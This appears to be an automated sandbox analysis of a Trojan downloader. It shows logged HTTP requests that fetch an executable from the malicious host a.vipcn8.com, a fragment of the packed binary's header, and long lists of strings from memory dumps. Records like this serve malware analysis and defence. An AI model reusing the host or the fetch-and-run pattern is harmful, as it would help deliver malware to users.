User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: a.vipcn8.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/plain

Last-Modified: Fri, 09 Jan 2015 09:38:44 GMT

Accept-Ranges: bytes

ETag: "94778ff02bd01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

Date: Thu, 15 Jan 2015 19:09:42 GMT

Content-Length: 62

hXXp://a.vipcn8.com/test/install1716210.exe install1716210.exe....

GET /test/install1716210.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: a.vipcn8.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Wed, 31 Dec 2014 18:41:07 GMT

Accept-Ranges: bytes

ETag: "cd10db562925d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

Date: Thu, 15 Jan 2015 19:09:42 GMT

Content-Length: 26697632

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................|...........A...................j...............Rich............................PE..L..., FT.................p.......... Z.......`....@.................................X...........................................p....`...z...........@...............................................\..H...........................................UPX0....................................UPX1.....p.......n..................@....rsrc........`...|...r..............@..............................................................................................................................................................................................................................................................................................................................................................................3.07.UPX!.....P..C...R:...j...R..&.....[...H.n5.T.j.gt..m.1.D}1LS.{.oD.Y.}`-.vL.gB...Fn.....U....y.[ ....)......... ...)..r..z.{:oy........&..f/....\.F..}.....d.....B.......c?....[.}...|>....).z.LW..l.[.....j.../.t.B.Q...m1,@.z.!n.....e.b..(#.g..bm..1...B%4.`....X.Pg.8m.Y....{..Y....Y.Q...n..},0T."....... .......t,L.5..nJ%a~..(._..XD{B...k.Q.~.U....[......61.i;...]~Y..[a.D....H@.....I....mZr.....|...I...........C.t.I=.t\P~g....$....../8p28m..n..5..S....z.[[.......;c..v....}....).............r..[....5.............S..R.T..;.A6.P.....E1......}

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1036:

.idata

.rdata

.reloc

.rsrc

.aspack

.adata

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

u,df` 'qq.jfb|

5, #5,=#5'

:({='rdw1twy;ip;>tl~v'nu olti%DU

0t;Sq&fn0:fnui%s2tqb|!b>2/tfq&dkD1unc)%,.

0t;Sq&fn0:fnui%fyv'uq8rf-vRWVy?!?j

.Wbb5j#~5jf-vaq2tdl~0nwy;i>2$ufvv'sb1a>2-fk

0t'#0t%f~5eou0Â uvux

0t'#0t%f~7hgy:`p2n'!2x

0t'#0t%sb1wl`!kbd1Xjtv=#2d%/

B:#yC4'b*7'fa.QdAE=

|3&g4FUm4.Tc05=`01vyF3V

fnU.jsJ

,"-","-","-","-","-","-",

T-ib}=dMC

qnf`d=qf0/dl|;u903ubiozb*

13%f*:Rf?.$`?7=mBB#y?GTc30$

0ney1c!*t2x

&Xbe hqu$kbs1Â2foc1

!w#@;kjs-[P=e*6=f6.!f71&b75"m*;$f>1Ã³5=l4:Ãµ2!a*2 d4_W&hv`

KEy8sfb

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

UhI%C

%s_%d

.Owner

1.0.4

EIdCanNotBindPortInRange

EIdInvalidPortRangeH

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

WS2_32.DLL

Wship6.dll

EIdIPVersionUnsupportedU

TIdSocketListWindows

TIdStackWindowsU

IdStackWindows

127.0.0.1

ftpTransfer

ftpReady

ftpAborted

EIdTCPConnectionError

EIdObjectTypeNotSupported

Portl

ClientPortMinl

ClientPortMax

PortU

"EIdTransparentProxyUDPNotSupported

TIdTCPClientCustom

IdTCPClient

TIdTCPClient

%EIdSocksUDPNotSupportedBySOCKSVersion

saUsernamePassword

Passwordl

Port

0.0.0.1

0.0.0.0

BoundPortl

DefaultPort

TIdTCPConnection

IdTCPConnection

ISO_646.irv:1991

ISO_646.basic:1983

ISO_646.irv:1983

csISO16Portuguese

csISO84Portuguese2

windows-936

csShiftJIS

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csMicrosoftPublishing

Windows-31J

csWindows31J

windows-1250

windows-1251

windows-1252

windows-1253

windows-1254

windows-1255

windows-1256

windows-1257

windows-1258

%s, %.2d %s %.4d %s %s

password

Password

CommentURL

IdHTTPHeaderInfo

ProxyPasswordl

ProxyPort

%d%s%d

Mozilla/3.0 (compatible; Indy Library)

Uh%CG

TIdHTTPMethod

IdHTTP

TIdHTTPOption

TIdHTTPOptions

TIdHTTPProtocolVersion

IdHTTPxEG

TIdHTTPOnRedirectEvent

TIdHTTPResponse

TIdHTTPResponse@GG

TIdHTTPRequest

TIdHTTPProtocol

TIdCustomHTTP

TIdHTTP

TIdHTTP8JG

HTTPOptionstEG

EIdHTTPProtocolException

application/x-www-form-urlencoded

HTTPS

https

HTTP/1.0 200 OK

HTTP/

$URL$

JclBase$URL$

JCL\source\windows

windows-874

Windows-1252

ole32.dll

SOFTWARE\Microsoft\Windows NT\CurrentVersion

ccIDSBinaryOperator

ccIDSTrinaryOperator

ccJoinControl

Mathematical Operators

Supplemental Mathematical Operators

Transport And Map Symbols

TRootKey

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

EJclMutexError

TJclIntfCriticalSection$URL$

TUnitVersioning$URL$

USER32.DLL

EInvalidGraphicOperation

comctl32.dll

uxtheme.dll

MAPI32.DLL

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

OnKeyDown`~J

OnKeyPress

OnKeyUp8}J

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

AutoHotkeys

TKeyEvent

TKeyPressEvent

HelpKeyword(

crSQLWait

%s (%s)

imm32.dll

!"#$%&*;@[]^_`{|}

TSQLTimeStampVariantType

TSQLTimeStampData

TSQLTimeStampDataD

SqlTimSt

%s %s

(%s%s)

-%s%s

%s-%s

%s%s-

-%s %s

%s %s-

%s -%s

(%s- %s)

(%s %s)

coInKey

IADStanAsyncOperation

IADStanAsyncExecutor

ftParadoxOle

upWhereKeyOnly

pfInKey

ImportedConstraintDaL

LookupKeyFields

KeyFields

TSQLTimeStampField

ImportedConstraint

SQLTimeStamp

%s: %s

%s.%s

supports

importNode

%s="%s"

%s%s%s: %d%s%s

TADSQLTimeIntervalKind

uADStanSQLTimeInt

TADSQLTimeIntervalData

TADSQLTimeIntervalVariantType

Cannot perform operation on non initialized interval value

%u-%.2u

%u %.2u:%.2u:%.2u

%u:%.2u:%.2u

[%s] is not a valid interval

TADGUIxLoginHistoryStorage

TADGUIxLoginDialogEvent

IADGUIxLoginDialog

gcrSQLWait

IADGUIxAsyncExecuteDialog

%sP%uY

%sP%uM

%sP%uD

%sT%uH

%sT%uM

%sT%uS%uF

%sP%uY%uM

%sP%uDT%uH

%sP%uDT%uH%uM

%sP%uDT%uH%uM%uS%uF

%sT%uH%uM

%sT%uH%uM%uS%uF

%sT%uM%uS%uF

EADDBArrayExecuteError

TADThreadMsgBase

TADThreadStartMsg

TADThreadStopMsg

TADThreadTerminateMsg

Failed to %s thread [%s].

Timeout [%d] expired

System error: %s

%s has not supported architecture [%s]. Required [%s].

delphi32.exe

\StringFileInfo\%s\FileDescription

\StringFileInfo\%s\FileVersion

\StringFileInfo\%s\LegalCopyright

\StringFileInfo\%s\Comments

%d.%d.%d (Build %d)%s

rvCmdExecMode

rvCmdExecTimeout

rvDirectExecute

xoIfCmdsInactive

CmdExecMode

CmdExecTimeout

DirectExecuteHXL

rsImportingCurent

rsImportingOriginal

rsImportingProposed

TADDatSForeignKeyConstraint

ChildKeyConstraint

ParentKeyConstraint

yyyy-mm-dd hh:nn:ss.zzz

atPLSQLTable

InKey

skExecute

MSSQL

MYSQL

SQLITE

POSTGRESQL

MySQL

SQLite

TADGUIxAsyncExecuteDialog

TADGUIxLoginDialog

Object factory for class %s%s is missing

Class [%s] does not implement interface [%s]

MSSQL2000

MSSQL2005

%s%s=%s%s%s%s

%s%s=%s%s

Password=*****

NewPassword

NewPassword=*****

ADConnectionDefs.ini

TADStanAsyncExecutor

ARow.Table.Name

HistoryWithPassword

HistoryKey

LoginRetries

ChangeExpiredPassword

OnLogin

OnChangePasswordU

TADIndexes

TADIndexest

TADSQLTimeIntervalField

UpdateOptions.KeyFields

UpdateOptions.AutoIncFields

FSortView.SortingMechanism

LocateRecord(AKeyFields)

PSGetKeyFields

(SQLTimeInterval)

TADConnectionLoginEvent

TADExecuteErrorEvent

LoginDialog

LoginPrompt

BeforeExecute

AfterExecute

TADLocalSQLDataSet

TADLocalSQLDataSets

TADLocalSQLDataSets8

TADCustomLocalSQL

Indexes

IndexesActive

LocalSQL

OnExecuteError

TADCustomCommand.Prepare

TADCustomCommand.Prepare - Exception

TADCustomCommand.Unprepare

TADCustomCommand.Unprepare - Exception

TADCustomCommand.InternalClose

TADCustomCommand.InternalClose - Exception

TADCustomCommand.InternalOpenFinished - Exception

TADCustomCommand.InternalOpenFinished

TADCustomCommand.InternalOpen

TADCustomCommand.InternalOpen - Exception

TADCustomCommand.InternalExecuteFinished - Exception

TADCustomCommand.InternalExecuteFinished

TADCustomCommand.InternalExecute

TADCustomCommand.InternalExecute - Exception

TADCustomCommand.FetchFinished - Exception

TADCustomCommand.FetchFinished

TADCustomCommand.Fetch

TADCustomCommand.Fetch - Exception

TADDefaultLocalSQLAdapter

%s$#%d

uADPhysCmdGenerator

uADPhysCmdGeneratorU

RDB$DB_KEY AS

DB_KEY

{LIMIT(%d,1)}

{LIMIT(%d)}

ADDrivers.ini

Uh.sW

Warning: The client [%s] and server [%s] major versions difference > 1.

7.0.1 (Build 3119) Professional

TADPhysCommandAsyncOperation

Table Indexes (

Table PKeys (

Table PKey Fields (

Table FKeys (

Table FKey Fields (

foreign key name

Primary key

TADPhysCommandAsyncExecute

ABSOLUTE,ACTION,ADA,ADD,ALL,ALLOCATE,ALTER,AND,ANY,ARE,AS,ASC,ASSERTION,AT,AUTHORIZATION,AVG,BEGIN,BETWEEN,BIT,BIT_LENGTH,BOTH,BY,CASCADE,CASCADED,CASE,CAST,CATALOG,CHAR,CHAR_LENGTH,CHARACTER,CHARACTER_LENGTH,CHECK,CLOSE,COALESCE,COLLATE,COLLATION,COLUMN,COMMIT,CONNECT,CONNECTION,CONSTRAINT,CONSTRAINTS,CONTINUE,CONVERT,CORRESPONDING,COUNT,CREATE,CROSS,CURRENT,CURRENT_DATE,CURRENT_TIME,CURRENT_TIMESTAMP,CURRENT_USER,CURSOR,DATE,DAY,DEALLOCATE,DEC,DECIMAL,DECLARE,DEFAULT,DEFERRABLE,DEFERRED,DELETE,DESC,DESCRIBE,DESCRIPTOR,DIAGNOSTICS,DISCONNECT,DISTINCT,DOMAIN,DOUBLE,DROP,ELSE,END,END-EXEC,ESCAPE,EXCEPT,EXCEPTION,EXEC,EXECUTE,EXISTS,EXTERNAL,EXTRACT,FALSE,FETCH,FIRST,FLOAT,FOR,FOREIGN,FORTRAN,FOUND,FROM,FULL,GET,GLOBAL,GO,GOTO,GRANT,GROUP,HAVING,HOUR,IDENTITY,IMMEDIATE,IN,INCLUDE,INDEX,INDICATOR,INITIALLY,INNER,INPUT,INSENSITIVE,INSERT,INT,INTEGER,INTERSECT,INTERVAL,INTO,IS,ISOLATION,JOIN,KEY,LANGUAGE,LAST,LEADING,LEFT,LEVEL,LIKE,LOCAL,LOWER,MATCH,MAX,MIN,MINUTE,MODULE,MONTH,NAMES,NATIONAL,NATURAL,NCHAR,NEXT,NO,NONE,NOT,NULL,NULLIF,NUMERIC,OCTET_LENGTH,OF,ON,ONLY,OPEN,OPTION,OR,ORDER,OUTER,OUTPUT,OVERLAPS,PAD,PARTIAL,PASCAL,PLI,POSITION,PRECISION,PREPARE,PRESERVE,PRIMARY,PRIOR,PRIVILEGES,PROCEDURE,PUBLIC,READ,REAL,REFERENCES,RELATIVE,RESTRICT,REVOKE,RIGHT,ROLLBACK,ROWSSCHEMA,SCROLL,SECOND,SECTION,SELECT,SESSION,SESSION_USER,SET,SIZE,SMALLINT,SOME,SPACE,SQL,SQLCA,SQLCODE,SQLERROR,SQLSTATE,SQLWARNING,SUBSTRING,SUM,SYSTEM_USER,TABLE,TEMPORARY,THEN,TIME,TIMESTAMP,TIMEZONE_HOUR,TIMEZONE_MINUTE,TO,TRAILING,TRANSACTION,TRANSLATE,TRANSLATION,TRIM,TRUE,UNION,UNIQUE,UNKNOWN,UPDATE,UPPER,USAGE,USER,USING,VALUE,VALUES,VARCHAR,VARYING,VIEW,WHEN,WHENEVER,WHERE,WITH,WORK,WRITE,YEAR,ZONE

#INDEXES

#PRIMARYKEYS

#PRIMARYKEYFIELDS

#FOREIGNKEYS

#FOREIGNKEYFIELDS

PKEY_NAME

FKEY_NAME

PKEY_CATALOG_NAME

PKEY_SCHEMA_NAME

PKEY_TABLE_NAME

PKEY_COLUMN_NAME

RESULTSET_KEY

RESULTSET_KEY =

TADPhysSQLiteMetadata

TADPhysSQLiteCommandGenerator

ABORT,ADD,AFTER,ALL,ALTER,ANALYZE,AND,AS,ASC,ATTACH,AUTOINCREMENT,BEFORE,BEGIN,BETWEEN,BY,CASCADE,CASE,CAST,CHECK,COLLATE,COLUMN,COMMIT,CONFLICT,CONSTRAINT,CREATE,CROSS,CURRENT_DATE,CURRENT_TIME,CURRENT_TIMESTAMP,DATABASE,DEFAULT,DEFERRABLE,DEFERRED,DELETE,DESC,DETACH,DISTINCT,DROP,EACH,ELSE,END,ESCAPE,EXCEPT,EXCLUSIVE,EXISTS,EXPLAIN,FAIL,FOR,FOREIGN,FROM,FULL,GLOB,GROUP,HAVING,IF,IGNORE,IMMEDIATE,IN,INDEX,INITIALLY,INNER,INSERT,INSTEAD,INTERSECT,INTO,IS,ISNULL,JOIN,KEY,LEFT,LIKE,LIMIT,MATCH,NATURAL,NOT,NOTNULL,NULL,OF,OFFSET,ON,OR,ORDER,OUTER,PLAN,PRAGMA,PRIMARY,QUERY,RAISE,REFERENCES,REGEXP,REINDEX,RENAME,REPLACE,RESTRICT,RIGHT,ROLLBACK,ROW,SELECT,SET,TABLE,TEMP,TEMPORARY,THEN,TO,TRANSACTION,TRIGGER,UNION,UNIQUE,UPDATE,USING,VACUUM,VALUES,VIEW,VIRTUAL,WHEN,WHERE

CAST(STRFTIME('%d',

CAST(STRFTIME('%S',

FROM sqlite_sequence WHERE name = '

sqlite_master t1

sqlite_temp_master t2)

foreign_key_list("

Password must be not empty

Invalid password is specified or DB is corrupted

Invalid password is specified

Cipher: Password must be not empty

Cipher: failed to change the DB password

;.ud3

Sh*%d

~.SWj

~.CB3

Rh.Bd

TSQLiteRTreeDoubleArray

uADPhysSQLiteWrapper

ESQLiteNativeException

TSQLiteLib

TSQLiteHandle

TSQLiteDatabase

TSQLiteExtension

TSQLiteExtensionManager

TSQLiteCollation

TSQLiteValueDef

TSQLiteValue

TSQLiteStmtVar

TSQLiteBind

TSQLiteColumn

TSQLiteVariables

TSQLiteStatement

TSQLiteFuncVar

TSQLiteInput

TSQLiteInputs

TSQLiteOutput

TSQLiteFunction`

TSQLiteFunctionData

TSQLiteExpressionFunction

TSQLiteExpressionFunctionData

TSQLiteRTree

TSQLiteRTreeData

sqlite3_libversion

sqlite3_libversion_number

sqlite3_compileoption_used

sqlite3_compileoption_get

sqlite3_initialize

sqlite3_shutdown

sqlite3_close

sqlite3_errcode

sqlite3_errmsg

sqlite3_extended_result_codes

sqlite3_open

sqlite3_open_v2

sqlite3_key

sqlite3_rekey

sqlite3_trace

sqlite3_profile

sqlite3_busy_timeout

sqlite3_get_autocommit

sqlite3_set_authorizer

sqlite3_update_hook

sqlite3_limit

sqlite3_changes

sqlite3_total_changes

sqlite3_interrupt

sqlite3_last_insert_rowid

sqlite3_enable_shared_cache

sqlite3_release_memory

sqlite3_soft_heap_limit

sqlite3_status

sqlite3_malloc

sqlite3_memory_used

sqlite3_memory_highwater

sqlite3_prepare

sqlite3_finalize

sqlite3_step

sqlite3_reset

sqlite3_column_count

sqlite3_column_type

sqlite3_column_name

sqlite3_column_database_name

sqlite3_column_table_name

sqlite3_column_origin_name

sqlite3_column_decltype

sqlite3_column_blob

sqlite3_column_double

sqlite3_column_int64

sqlite3_column_text

sqlite3_column_bytes

sqlite3_clear_bindings

sqlite3_bind_parameter_count

sqlite3_bind_parameter_index

sqlite3_bind_parameter_name

sqlite3_bind_blob

sqlite3_bind_double

sqlite3_bind_int64

sqlite3_bind_null

sqlite3_bind_text

sqlite3_bind_value

sqlite3_bind_zeroblob

sqlite3_value_type

sqlite3_value_blob

sqlite3_value_bytes

sqlite3_value_double

sqlite3_value_int64

sqlite3_value_text

sqlite3_result_blob

sqlite3_result_double

sqlite3_result_error

sqlite3_result_error_code

sqlite3_result_int64

sqlite3_result_null

sqlite3_result_text

sqlite3_result_zeroblob

sqlite3_create_collation

sqlite3_create_function

sqlite3_user_data

sqlite3_enable_load_extension

sqlite3_load_extension

sqlite3_free

sqlite3_table_column_metadata

sqlite3_progress_handler

sqlite3_declare_vtab

sqlite3_create_module

sqlite3_create_module_v2

sqlite3_vfs_find

sqlite3_vfs_register

sqlite3_vfs_unregister

sqlite3_backup_init

sqlite3_backup_step

sqlite3_backup_finish

sqlite3_backup_remaining

sqlite3_backup_pagecount

sqlite3_wal_hook

sqlite3_wal_autocheckpoint

sqlite3_wal_checkpoint

sqlite3_rtree_geometry_callback

sqlite3_blob_open

sqlite3_blob_close

sqlite3_blob_bytes

sqlite3_blob_read

sqlite3_blob_write

sqlite3_vtab_config

sqlite3_vtab_on_conflict

SQLITE_INTEGER

SQLITE_FLOAT

SQLITE_TEXT

SQLITE_BLOB

SQLITE_NULL

sqlite3

PRIMARY KEY must be unique

ADsqlite3_compare

sqlite3_column_xxx

8.ugj

zSql

sqlite_version

SQLiteNativeException

TADPhysSQLiteDriverLink\

TADPhysSQLiteDriverLink

uADPhysSQLite

TADPhysSQLiteDriver\

TADPhysSQLiteConnection,

TADPhysSQLiteTransaction

TADPhysSQLitePostEventFunc

TADPhysSQLiteEventAlerter

TADSQLiteVarInfoRecD

TADPhysSQLiteCommand

@F:SQLite Database|*.sdb;*.db

ForeignKeys

SQLiteAdvanced

foreign_keys

TADPhysSQLiteEventMessageU

DriverID=SQLite

shell.application

libeay32.dll

ssleay32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

des_set_key

sslvrfFailIfNoPeerCert

TPasswordEvent

Certificate

RootCertFile

CertFile

KeyFile

OnGetPassword

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError$

EIdOSSLLoadingKeyError

Open SSL Support DLL Delphi and C Builder interface

hXXp://VVV.indyproject.org/

1993 - 2004

Uh.Qb

Uhweb

\\.\Scsi%d:

8$4,8$4

CREATE TABLE sqlite_master(

sql text

CREATE TEMP TABLE sqlite_temp_master(

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLYHerF

3.7.15

SQLITE_

d-d-d d:d:d

d-d-d

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

922337203685477580

API call with %s database connection pointer

RowKey

GetProcessHeap

OsError 0x%x (%u)

os_win.c:%d: (%d) %s(%s) - %s

delayed %dms for lock/sharing conflict

%s-shm

%s\etilqs_

%s\%s

Recovered %d frames from WAL file %s

cannot limit WAL size: %s

SQLite format 3

invalid page number %d

2nd reference to page %d

Failed to read ptrmap key=%d

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

%d of %d pages missing from overflow list starting at %d

failed to get page %d

freelist leaf count too big on page %d

Page %d:

unable to get the page. error code=%d

btreeInitPage() returns error code %d

On tree page %d cell %d:

On page %d at right child:

Corruption detected in cell %d on page %d

Multiple uses for byte %d of page %d

Fragmentation of %d bytes reported as %d on page %d

Page %d is never used

Pointer map page %d is referenced

Outstanding page count goes from %d to %d during this analysis

unknown database %s

keyinfo(%d

%s(%d)

%s-mjXXXXXX9XXz

MJ delete: %s

MJ collide: %s

-mjX9X

foreign key constraint failed

unable to use function %s in the requested context

bind on a busy prepared statement: [%s]

zeroblob(%d)

abort at %d in [%s]: %s

constraint failed at %d in [%s]

cannot open savepoint - SQL statements in progress

no such savepoint: %s

cannot release savepoint - SQL statements in progress

cannot commit transaction - SQL statements in progress

sqlite_temp_master

sqlite_master

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

cannot change %s wal mode from within a transaction

database table is locked: %s

statement aborts at %d: [%s] %s

cannot open value of type %s

cannot open virtual table: %s

cannot open view: %s

no such column: "%s"

foreign key

indexed

cannot open %s column for writing

misuse of aliased aggregate %s

%s: %s.%s.%s

%s: %s.%s

not authorized to use function: %s

%r %s BY term out of range - should be between 1 and %d

too many terms in %s BY clause

Expression tree is too large (maximum depth %d)

variable number must be between ?1 and ?%d

too many SQL variables

too many columns in %s

EXECUTE %s%s SUBQUERY %d

misuse of aggregate: %s()

%.*s"%w"%s

%s%.*s"%w"

sqlite_rename_table

sqlite_rename_trigger

sqlite_rename_parent

%s OR name=%Q

type='trigger' AND (%s)

sqlite_

table %s may not be altered

there is already another table or index with this name: %s

view %s may not be altered

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

sqlite_sequence

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

Cannot add a PRIMARY KEY column

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

sqlite_altertab_%s

sqlite_stat1

sqlite_stat3

CREATE TABLE %Q.%s(%s)

DELETE FROM %Q.%s WHERE %s=%Q

SELECT idx,count(*) FROM %Q.sqlite_stat3 GROUP BY idx

SELECT idx,neq,nlt,ndlt,sample FROM %Q.sqlite_stat3

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

invalid name: "%s"

too many attached databases - max %d

database %s is already in use

Invalid key value

unable to open database: %s

no such database: %s

cannot detach database %s

database %s is locked

sqlite_detach

sqlite_attach

%s %T cannot reference objects in database %s

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

there is already an index named %s

too many columns on %s

duplicate column name: %s

default value of column [%s] is not constant

table "%s" has more than one primary key

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

CREATE %s %.*s

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE TABLE %Q.sqlite_sequence(name,seq)

view %s is circularly defined

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

sqlite_stat%d

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

sqlite_stat

table %s may not be dropped

use DROP TABLE to delete table %s

use DROP VIEW to delete view %s

foreign key on %s should reference only one column of table %T

number of columns in foreign key does not match the number of columns in the referenced table

unknown column "%s" in foreign key definition

indexed columns are not unique

table %s may not be indexed

views may not be indexed

virtual tables may not be indexed

there is already a table named %s

index %s already exists

sqlite_autoindex_%s_%d

table %s has no column named %s

CREATE%s INDEX %.*s

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

no such index: %S

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

a JOIN clause is required before %s

unable to identify the object to be reindexed

no such collation sequence: %s

table %s may not be modified

cannot modify %s because it is a view

sqlite_source_id

sqlite_log

sqlite_compileoption_used

sqlite_compileoption_get

foreign key mismatch

table %S has %d columns but %d values were supplied

%d values for %d columns

table %S has no column named %s

%s.%s may not be NULL

constraint %s failed

automatic extension loading failed: %s

foreign_key_list

*** in database %s ***

unsupported encoding: %s

rekey

hexkey

hexrekey

malformed database schema (%s)

%s - %s

unsupported file format

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

database schema is locked: %s

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

a NATURAL join may not have an ON or USING clause

cannot have both ON and USING clauses in the same join

cannot join using column %s - column not present in both tables

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

%s:%d

ORDER BY clause should come after %s not before

LIMIT clause should come after %s not before

SELECTs to the left and right of %s do not have the same number of result columns

no such index: %s

sqlite_subquery_%p_

no such table: %s

SCAN TABLE %s %s%s(~%d rows)

sqlite3_get_table() called with two or more incompatible queries

cannot create %s trigger on view: %S

cannot create INSTEAD OF trigger on table: %S

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

no such trigger: %S

-- TRIGGER %s

no such column: %s

cannot VACUUM - SQL statements in progress

PRAGMA vacuum_db.synchronous=OFF

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

vtable constructor failed: %s

vtable constructor did not declare schema: %s

no such module: %s

table %s: xBestIndex returned an invalid plan

%s TABLE %s

%s AS %s

%s USING %s%sINDEX%s%s%s

%s USING INTEGER PRIMARY KEY

%s (rowid=?)

%s (rowid>? AND rowid)

%s (rowid>?)

%s (rowid)

%s VIRTUAL TABLE INDEX %d:%s

%s (~%lld rows)

at most %d tables in a join

cannot use index: %s

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

SQL logic error or missing database

unknown operation

large file support is disabled

unknown database: %s

no such %s mode: %s

%s mode not allowed: %s

no such vfs: %s

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

no such table column: %s.%s

CREATE TABLE x(%s %Q HIDDEN, docid HIDDEN, %Q HIDDEN)

CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);

docid INTEGER PRIMARY KEY

%z, 'c%d%q'

CREATE TABLE %Q.'%q_content'(%s)

CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);

CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
